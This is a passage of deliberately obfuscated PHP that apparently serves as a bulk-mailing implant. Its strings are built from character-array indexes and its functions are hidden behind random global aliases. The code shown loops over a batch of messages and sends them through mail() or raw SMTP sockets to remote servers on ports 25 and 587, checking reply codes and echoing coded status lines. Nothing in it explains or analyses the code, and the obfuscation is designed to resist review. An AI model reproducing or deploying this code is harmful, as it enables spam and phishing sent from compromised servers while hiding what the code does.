&amp;quot;&amp;quot;, $r76[66].$r76[45].$r76[96].$r76[47].$r76[67].$r76[94].$r76[78].$r76[41].$r76[5] =&amp;gt; &amp;quot;&amp;quot;, $r76[96].$r76[49].$r76[95].$r76[69].$r76[67].$r76[94].$r76[78].$r76[41].$r76[5] =&amp;gt; &amp;quot;&amp;quot;, $r76[36].$r76[49].$r76[66].$r76[87].$r76[0].$r76[24].$r76[49].$r76[78] =&amp;gt; &amp;quot;&amp;quot;); if (FALSE == $GLOBALS[&#039;yhrfr40&#039;]($r76, $jabhi9)) { echo PHP_OS.$r76[80].$GLOBALS[&#039;quzii24&#039;](0987654321).$r76[80].$r76[52].$r76[76].$r76[80].$r76[1].$r76[1].$r76[9].$r76[9].$r76[30]; exit; } $iwule39 = array(); for ($afses42 = 0; $afses42 &amp;lt; $GLOBALS[&#039;tlyiy12&#039;]($jabhi9[$r76[87].$r76[49].$r76[71].$r76[53].$r76[66].$r76[87]]); $afses42++) { $kumlm43 = array( $r76[53].$r76[95] =&amp;gt; $afses42, $r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49].$r76[80] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78].$r76[80] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[95].$r76[49].$r76[78].$r76[90].$r76[53].$r76[58].$r76[87].$r76[49] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[95].$r76[49].$r76[78].$r76[90].$r76[53].$r76[58].$r76[7].$r76[24].$r76[49].$r76[78] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[7].$r76[53].$r76[24].$r76[66].$r76[87] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[5].$r76[90].$r76[66].$r76[87] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[96].$r76[49].$r76[95].$r76[69] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[66].$r76[45].$r76[96].$r76[47].$r76[94].$r76[27].$r76[87] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[7].$r76[7].$r76[7] =&amp;gt; FALSE, $r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24] =&amp;gt; &amp;quot;&amp;quot;, $r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24].$r76[7].$r76[24].$r76[49].$r76[78] =&amp;gt; &amp;quot;&amp;quot;, $r76[66].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24] =&amp;gt; &amp;quot;&amp;quot;, $r76[66].$r76[54].$r76[78].$r76[20].$r76[36].$r76[49].$r76[66].$r76[87] =&amp;gt; &amp;quot;&amp;quot;, $r76[66].$r76[54].$r76[78].$r76[20].$r76[90].$r76[95].$r76[95].$r76[24] =&amp;gt; FALSE, $r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29] =&amp;gt; FALSE, $r76[66].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94] =&amp;gt; $GLOBALS[&#039;kyioa8&#039;](), $r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41] =&amp;gt; $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[40].$r76[17].$r76[56].$r76[56].$r76[79].$r76[40].$r76[67]), $r76[66].$r76[54].$r76[41].$r76[49].$r76[24].$r76[87] =&amp;gt; 25, $r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58] =&amp;gt; &amp;quot;&amp;quot;, $r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87] =&amp;gt; &amp;quot;&amp;quot;, $r76[66].$r76[54].$r76[87].$r76[24].$r76[53].$r76[61] =&amp;gt; FALSE, $r76[5].$r76[54].$r76[94].$r76[24].$r76[24] =&amp;gt; &amp;quot;&amp;quot;, $r76[5].$r76[54].$r76[95].$r76[49].$r76[58].$r76[94] =&amp;gt; FALSE, $r76[5].$r76[54].$r76[43].$r76[90].$r76[69] =&amp;gt; 0, $r76[5].$r76[54].$r76[7].$r76[90].$r76[53].$r76[5].$r76[66].$r76[78].$r76[87].$r76[41] =&amp;gt; FALSE, $r76[5].$r76[54].$r76[66].$r76[78].$r76[87].$r76[41].$r76[54].$r76[94].$r76[58].$r76[95] =&amp;gt; FALSE, ); if (FALSE == $GLOBALS[&#039;nhnww15&#039;]($r76, $jabhi9[$r76[87].$r76[49].$r76[71].$r76[53].$r76[66].$r76[87]][$afses42], $jabhi9, $kumlm43)) { echo PHP_OS.$r76[80].$GLOBALS[&#039;quzii24&#039;](1111111111).$r76[80].$r76[52].$r76[46].$r76[80].$r76[1].$r76[1].$GLOBALS[&#039;igajs32&#039;]($r76, $jabhi9[$r76[87].$r76[49].$r76[71].$r76[53].$r76[66].$r76[87]][$afses42]).$r76[9].$r76[9].$r76[30]; continue; } $iwule39[] = $kumlm43; } $GLOBALS[&#039;cpukq94&#039;]($r76, $iwule39); $GLOBALS[&#039;bdonk12&#039;]($r76, $iwule39); $GLOBALS[&#039;aurku4&#039;]($r76, $iwule39); exit; function ioxgo29($r76, $iwule39) { $hwrbl25 = 0; $spjea96 = &amp;quot;&amp;quot;; for ($afses42 = 0; $afses42 &amp;lt; $GLOBALS[&#039;tlyiy12&#039;]($iwule39); $afses42++) { if ($iwule39[$afses42][$r76[5].$r76[54].$r76[7].$r76[90].$r76[53].$r76[5].$r76[66].$r76[78].$r76[87].$r76[41]] == TRUE) { echo PHP_OS.$r76[80].$GLOBALS[&#039;quzii24&#039;](2222222222).$r76[80].$r76[52].$r76[85].$r76[80].$r76[1].$r76[1].$GLOBALS[&#039;igajs32&#039;]($r76, $iwule39[$afses42][$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49]].$r76[39].$r76[74].$r76[74].$r76[39].$iwule39[$afses42][$r76[5].$r76[54].$r76[94].$r76[24].$r76[24]]).$r76[9].$r76[9].$r76[30]; } if ($iwule39[$afses42][$r76[5].$r76[54].$r76[95].$r76[49].$r76[58].$r76[94]] == TRUE) { $spjea96.= $iwule39[$afses42][$r76[5].$r76[54].$r76[43].$r76[90].$r76[69]]; $hwrbl25++; } } if ($hwrbl25 == 0) { echo PHP_OS.$r76[80].$GLOBALS[&#039;quzii24&#039;](0987654321).$r76[80].$r76[52].$r76[85].$r76[80].$r76[1].$r76[1].$r76[9].$r76[9].$r76[30]; } else { echo $r76[17].$r76[19].$r76[80].$GLOBALS[&#039;quzii24&#039;](1234567890).$r76[80].$hwrbl25.$r76[80].$GLOBALS[&#039;tlyiy12&#039;]($iwule39).$r76[86].$r76[1].$spjea96.$r76[9].$r76[30]; } } function hwgbo88($r76, &amp;amp;$iwule39) { if (!$GLOBALS[&#039;yqqkt30&#039;]($r76[78].$r76[90].$r76[53].$r76[5])) { return FALSE; } for ($afses42 = 0; $afses42 &amp;lt; $GLOBALS[&#039;tlyiy12&#039;]($iwule39); $afses42++) { if ($iwule39[$afses42][$r76[5].$r76[54].$r76[95].$r76[49].$r76[58].$r76[94]] == TRUE) { continue; } if ($iwule39[$afses42][$r76[61].$r76[54].$r76[7].$r76[7].$r76[7]]) { if (@$GLOBALS[&#039;tnmsd36&#039;]($iwule39[$afses42][$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49].$r76[80]], $iwule39[$afses42][$r76[61].$r76[54].$r76[66].$r76[45].$r76[96].$r76[47].$r76[94].$r76[27].$r76[87]], $iwule39[$afses42][$r76[61].$r76[54].$r76[96].$r76[49].$r76[95].$r76[69]], $iwule39[$afses42][$r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24].$r76[7].$r76[24].$r76[49].$r76[78]].$iwule39[$afses42][$r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]], $r76[26].$r76[7].$iwule39[$afses42][$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78]])) { $iwule39[$afses42][$r76[5].$r76[54].$r76[95].$r76[49].$r76[58].$r76[94]] = TRUE; $iwule39[$afses42][$r76[5].$r76[54].$r76[43].$r76[90].$r76[69]] = 2; } else { $iwule39[$afses42][$r76[5].$r76[54].$r76[95].$r76[49].$r76[58].$r76[94]] = FALSE; } } else { if (@$GLOBALS[&#039;tnmsd36&#039;]($iwule39[$afses42][$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49].$r76[80]], $iwule39[$afses42][$r76[61].$r76[54].$r76[66].$r76[45].$r76[96].$r76[47].$r76[94].$r76[27].$r76[87]], $iwule39[$afses42][$r76[61].$r76[54].$r76[96].$r76[49].$r76[95].$r76[69]], $iwule39[$afses42][$r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]])) { $iwule39[$afses42][$r76[5].$r76[54].$r76[95].$r76[49].$r76[58].$r76[94]] = TRUE; $iwule39[$afses42][$r76[5].$r76[54].$r76[43].$r76[90].$r76[69]] = 2; } else { $iwule39[$afses42][$r76[5].$r76[54].$r76[95].$r76[49].$r76[58].$r76[94]] = FALSE; } } } } function omauf87($r76, &amp;amp;$iwule39) { while ($GLOBALS[&#039;chqql44&#039;]($r76, $iwule39)) { $GLOBALS[&#039;cvtxr40&#039;]($r76, $iwule39); $GLOBALS[&#039;eavur97&#039;](25000); } } function urvfu78($r76, &amp;amp;$iwule39, $xhovg5, $flunj82, $mavcb77) { if ($iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]] != FALSE) { $GLOBALS[&#039;xcnkh30&#039;]($r76, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]]); } $iwule39[$xhovg5][$r76[5].$r76[54].$r76[94].$r76[24].$r76[24]] = $r76[1].$iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]].$r76[9].$GLOBALS[&#039;wnlxd28&#039;]($GLOBALS[&#039;laepm94&#039;]($r76[16].$r76[21].$r76[30].$r76[16], $r76[39], $flunj82)); $iwule39[$xhovg5][$r76[5].$r76[54].$r76[7].$r76[90].$r76[53].$r76[5].$r76[66].$r76[78].$r76[87].$r76[41]] = $mavcb77; $iwule39[$xhovg5][$r76[5].$r76[54].$r76[66].$r76[78].$r76[87].$r76[41].$r76[54].$r76[94].$r76[58].$r76[95]] = TRUE; return; } function ecyws30($r76, &amp;amp;$iwule39) { $oonnt88 = $GLOBALS[&#039;kyioa8&#039;](); foreach($iwule39 as $xhovg5=&amp;gt;$kumlm43) { if ($kumlm43[$r76[5].$r76[54].$r76[66].$r76[78].$r76[87].$r76[41].$r76[54].$r76[94].$r76[58].$r76[95]] == TRUE) { continue; } if ($kumlm43[$r76[66].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94]] + 20 &amp;lt; $oonnt88) { if ($iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]] == $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[40].$r76[17].$r76[56].$r76[56].$r76[79].$r76[40].$r76[67]) &amp;amp;&amp;amp; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[41].$r76[49].$r76[24].$r76[87]] != 587) { $GLOBALS[&#039;xcnkh30&#039;]($r76, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]]); $iwule39[$xhovg5][$r76[66].$r76[54].$r76[41].$r76[49].$r76[24].$r76[87]] = 587; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94]] = $GLOBALS[&#039;kyioa8&#039;](); continue; } $GLOBALS[&#039;ptlaz26&#039;]($r76, $iwule39, $xhovg5, $r76[87].$r76[53].$r76[78].$r76[94].$r76[49].$r76[45].$r76[87], FALSE); continue; } switch($iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]]) { case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[40].$r76[17].$r76[56].$r76[56].$r76[79].$r76[40].$r76[67]): if ($iwule39[$xhovg5][$r76[66].$r76[54].$r76[78].$r76[20].$r76[90].$r76[95].$r76[95].$r76[24]] == FALSE) { $iwule39[$xhovg5][$r76[66].$r76[54].$r76[78].$r76[20].$r76[90].$r76[95].$r76[95].$r76[24]] = @$GLOBALS[&#039;nxseo15&#039;]($iwule39[$xhovg5][$r76[66].$r76[54].$r76[78].$r76[20].$r76[36].$r76[49].$r76[66].$r76[87]]); if (!@$GLOBALS[&#039;cyzbs96&#039;]($r76[16].$r76[83].$r76[1].$r76[52].$r76[26].$r76[15].$r76[9].$r76[72].$r76[76].$r76[33].$r76[31].$r76[10].$r76[42].$r76[86].$r76[97].$r76[62].$r76[72].$r76[85].$r76[10].$r76[16], $iwule39[$xhovg5][$r76[66].$r76[54].$r76[78].$r76[20].$r76[90].$r76[95].$r76[95].$r76[24]])) { $GLOBALS[&#039;ptlaz26&#039;]($r76, $iwule39, $xhovg5, $r76[24].$r76[94].$r76[66].$r76[49].$r76[5].$r76[70].$r76[94].$r76[39].$r76[78].$r76[20], FALSE); break; } } $kdidw81 = 0; $msnsv40 = &#039;&#039;; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]] = $GLOBALS[&#039;yoejz48&#039;]($r76, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]], $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[3].$r76[68].$r76[17].$r76[67].$r76[17].$r76[54].$r76[67].$r76[40].$r76[3]), $iwule39[$xhovg5][$r76[66].$r76[54].$r76[78].$r76[20].$r76[90].$r76[95].$r76[95].$r76[24]], $iwule39[$xhovg5][$r76[66].$r76[54].$r76[41].$r76[49].$r76[24].$r76[87]], 2, $kdidw81, $msnsv40, TRUE); if ($iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]] == FALSE) { break; } if ($kdidw81 == 0 || $kdidw81 === 56 || $kdidw81 === 10056 ) { $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]] = $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[40].$r76[17].$r76[56].$r76[56].$r76[79].$r76[40].$r76[67].$r76[79].$r76[6]); $GLOBALS[&#039;lzjpr73&#039;]($r76, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]], 15); $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94]] = $GLOBALS[&#039;kyioa8&#039;](); } break; case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[40].$r76[17].$r76[56].$r76[56].$r76[79].$r76[40].$r76[67].$r76[79].$r76[6]): if ($GLOBALS[&#039;osnjl91&#039;]($r76, $iwule39, $xhovg5)) { $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]] = &amp;quot;&amp;quot;; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]] = $r76[79].$r76[22].$r76[71].$r76[17].$r76[39].$iwule39[$xhovg5][$r76[61].$r76[54].$r76[95].$r76[49].$r76[78].$r76[90].$r76[53].$r76[58].$r76[7].$r76[24].$r76[49].$r76[78]].$r76[21].$r76[30]; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]] = $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[79].$r76[22].$r76[71].$r76[17]); $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94]] = $GLOBALS[&#039;kyioa8&#039;](); } break; case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[79].$r76[22].$r76[71].$r76[17]): if ($GLOBALS[&#039;zhjzv93&#039;]($r76, $iwule39, $xhovg5)) { if ($GLOBALS[&#039;osnjl91&#039;]($r76, $iwule39, $xhovg5)) { if (substr($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], 0, 3) != 250) { $GLOBALS[&#039;ptlaz26&#039;]($r76, $iwule39, $xhovg5, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], TRUE); break; } $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]] = &amp;quot;&amp;quot;; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]] = $r76[11].$r76[4].$r76[64].$r76[71].$r76[39].$r76[0].$r76[68].$r76[17].$r76[11].$r76[74].$r76[2].$iwule39[$xhovg5][$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78]].$r76[38].$r76[21].$r76[30]; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]] = $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[11].$r76[4].$r76[64].$r76[71].$r76[0].$r76[68].$r76[17].$r76[11]); $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94]] = $GLOBALS[&#039;kyioa8&#039;](); } break; } break; case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[11].$r76[4].$r76[64].$r76[71].$r76[0].$r76[68].$r76[17].$r76[11]): if ($GLOBALS[&#039;zhjzv93&#039;]($r76, $iwule39, $xhovg5)) { if ($GLOBALS[&#039;osnjl91&#039;]($r76, $iwule39, $xhovg5)) { if (substr($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], 0, 3) != 250) { $GLOBALS[&#039;ptlaz26&#039;]($r76, $iwule39, $xhovg5, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], TRUE); break; } $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]] = &amp;quot;&amp;quot;; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]] = $r76[68].$r76[40].$r76[3].$r76[67].$r76[39].$r76[67].$r76[17].$r76[74].$r76[2].$iwule39[$xhovg5][$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49]].$r76[38].$r76[21].$r76[30]; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]] = $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[68].$r76[40].$r76[3].$r76[67].$r76[67].$r76[17]); $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94]] = $GLOBALS[&#039;kyioa8&#039;](); } break; } break; case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[68].$r76[40].$r76[3].$r76[67].$r76[67].$r76[17]): if ($GLOBALS[&#039;zhjzv93&#039;]($r76, $iwule39, $xhovg5)) { if ($GLOBALS[&#039;osnjl91&#039;]($r76, $iwule39, $xhovg5)) { if (substr($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], 0, 3) != 250 &amp;amp;&amp;amp; substr($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], 0, 3) != 251) { $GLOBALS[&#039;ptlaz26&#039;]($r76, $iwule39, $xhovg5, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], TRUE); break; } $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]] = &amp;quot;&amp;quot;; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]] = $r76[6].$r76[4].$r76[67].$r76[4].$r76[21].$r76[30]; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]] = $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[6].$r76[4].$r76[67].$r76[4]); $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94]] = $GLOBALS[&#039;kyioa8&#039;](); } break; } break; case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[6].$r76[4].$r76[67].$r76[4]): if ($GLOBALS[&#039;zhjzv93&#039;]($r76, $iwule39, $xhovg5)) { if ($GLOBALS[&#039;osnjl91&#039;]($r76, $iwule39, $xhovg5)) { if (substr($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], 0, 3) != 354) { $GLOBALS[&#039;ptlaz26&#039;]($r76, $iwule39, $xhovg5, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], TRUE); break; } $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]] = &amp;quot;&amp;quot;; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]] = $iwule39[$xhovg5][$r76[66].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]].$r76[21].$r76[30].$iwule39[$xhovg5][$r76[61].$r76[54].$r76[96].$r76[49].$r76[95].$r76[69]].$r76[21].$r76[30].$r76[86].$r76[21].$r76[30]; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]] = $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[50].$r76[17].$r76[6].$r76[34]); $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94]] = $GLOBALS[&#039;kyioa8&#039;](); } break; } break; case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[50].$r76[17].$r76[6].$r76[34]): if ($GLOBALS[&#039;zhjzv93&#039;]($r76, $iwule39, $xhovg5)) { if ($GLOBALS[&#039;osnjl91&#039;]($r76, $iwule39, $xhovg5)) { if (substr($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], 0, 3) != 250) { $GLOBALS[&#039;ptlaz26&#039;]($r76, $iwule39, $xhovg5, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]], TRUE); break; } $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]] = &amp;quot;&amp;quot;; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]] = $r76[37].$r76[44].$r76[64].$r76[67].$r76[21].$r76[30]; $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]] = $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[37].$r76[44].$r76[64].$r76[67]); $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94]] = $GLOBALS[&#039;kyioa8&#039;](); $iwule39[$xhovg5][$r76[5].$r76[54].$r76[95].$r76[49].$r76[58].$r76[94]] = TRUE; $iwule39[$xhovg5][$r76[5].$r76[54].$r76[43].$r76[90].$r76[69]] = 1; } break; } break; case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[37].$r76[44].$r76[64].$r76[67]): if ($GLOBALS[&#039;zhjzv93&#039;]($r76, $iwule39, $xhovg5)) { $GLOBALS[&#039;ptlaz26&#039;]($r76, $iwule39, $xhovg5, &amp;quot;&amp;quot;, FALSE); } break; } } } function rxrmp70($r76, &amp;amp;$iwule39, $xhovg5) { $kdidw81 = 0; $msnsv40 = &amp;quot;&amp;quot;; if ($iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[24].$r76[53].$r76[61]] == FALSE) { if ($GLOBALS[&#039;brkww19&#039;]($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]]) != 0) { return TRUE; } return FALSE; } $jrnqk91 = $GLOBALS[&#039;yhcum29&#039;]($r76, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]], 4086, $kdidw81, $msnsv40); if ($jrnqk91 == FALSE || $jrnqk91 == &amp;quot;&amp;quot;) { if ($kdidw81 != 35 &amp;amp;&amp;amp; $kdidw81 != 10035 &amp;amp;&amp;amp; $kdidw81!= 11 &amp;amp;&amp;amp; $kdidw81!= 10060) { $GLOBALS[&#039;ptlaz26&#039;]($r76, $iwule39, $xhovg5, $msnsv40, FALSE); return FALSE; } if ($GLOBALS[&#039;brkww19&#039;]($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]]) != 0) { return TRUE; } return FALSE; } $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[53].$r76[58]] = $jrnqk91; return FALSE; } function prcux47($r76, &amp;amp;$iwule39, $xhovg5) { $kdidw81 = 0; $msnsv40 = &amp;quot;&amp;quot;; if ($GLOBALS[&#039;brkww19&#039;]($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]]) == 0) { return TRUE; } $jrnqk91 = $GLOBALS[&#039;ibere91&#039;]($r76, $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]], $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]], $kdidw81, $msnsv40); if ($jrnqk91 == FALSE) { if ($kdidw81 != 35 &amp;amp;&amp;amp; $kdidw81 != 10035 &amp;amp;&amp;amp; $kdidw81 != 11 &amp;amp;&amp;amp; $kdidw81 != 10060) { $GLOBALS[&#039;ptlaz26&#039;]($r76, $iwule39, $xhovg5, $msnsv40, FALSE); } return FALSE; } $iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]] = substr($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]], $jrnqk91); if ($GLOBALS[&#039;brkww19&#039;]($iwule39[$xhovg5][$r76[66].$r76[54].$r76[95].$r76[90].$r76[87].$r76[90].$r76[49].$r76[45].$r76[87]]) == 0) { return TRUE; } return FALSE; } function armtx32($r76, &amp;amp;$iwule39) { $bdhch16 = FALSE; if ($GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79]) != $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67])) { foreach($GLOBALS[&#039;vszxc90&#039;]($iwule39) as $xhovg5) { if ($iwule39[$xhovg5][$r76[5].$r76[54].$r76[66].$r76[78].$r76[87].$r76[41].$r76[54].$r76[94].$r76[58].$r76[95]] != TRUE) { $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[24].$r76[53].$r76[61]] = TRUE; $bdhch16 = TRUE; } } return $bdhch16; } $fwcsz21 = array(); 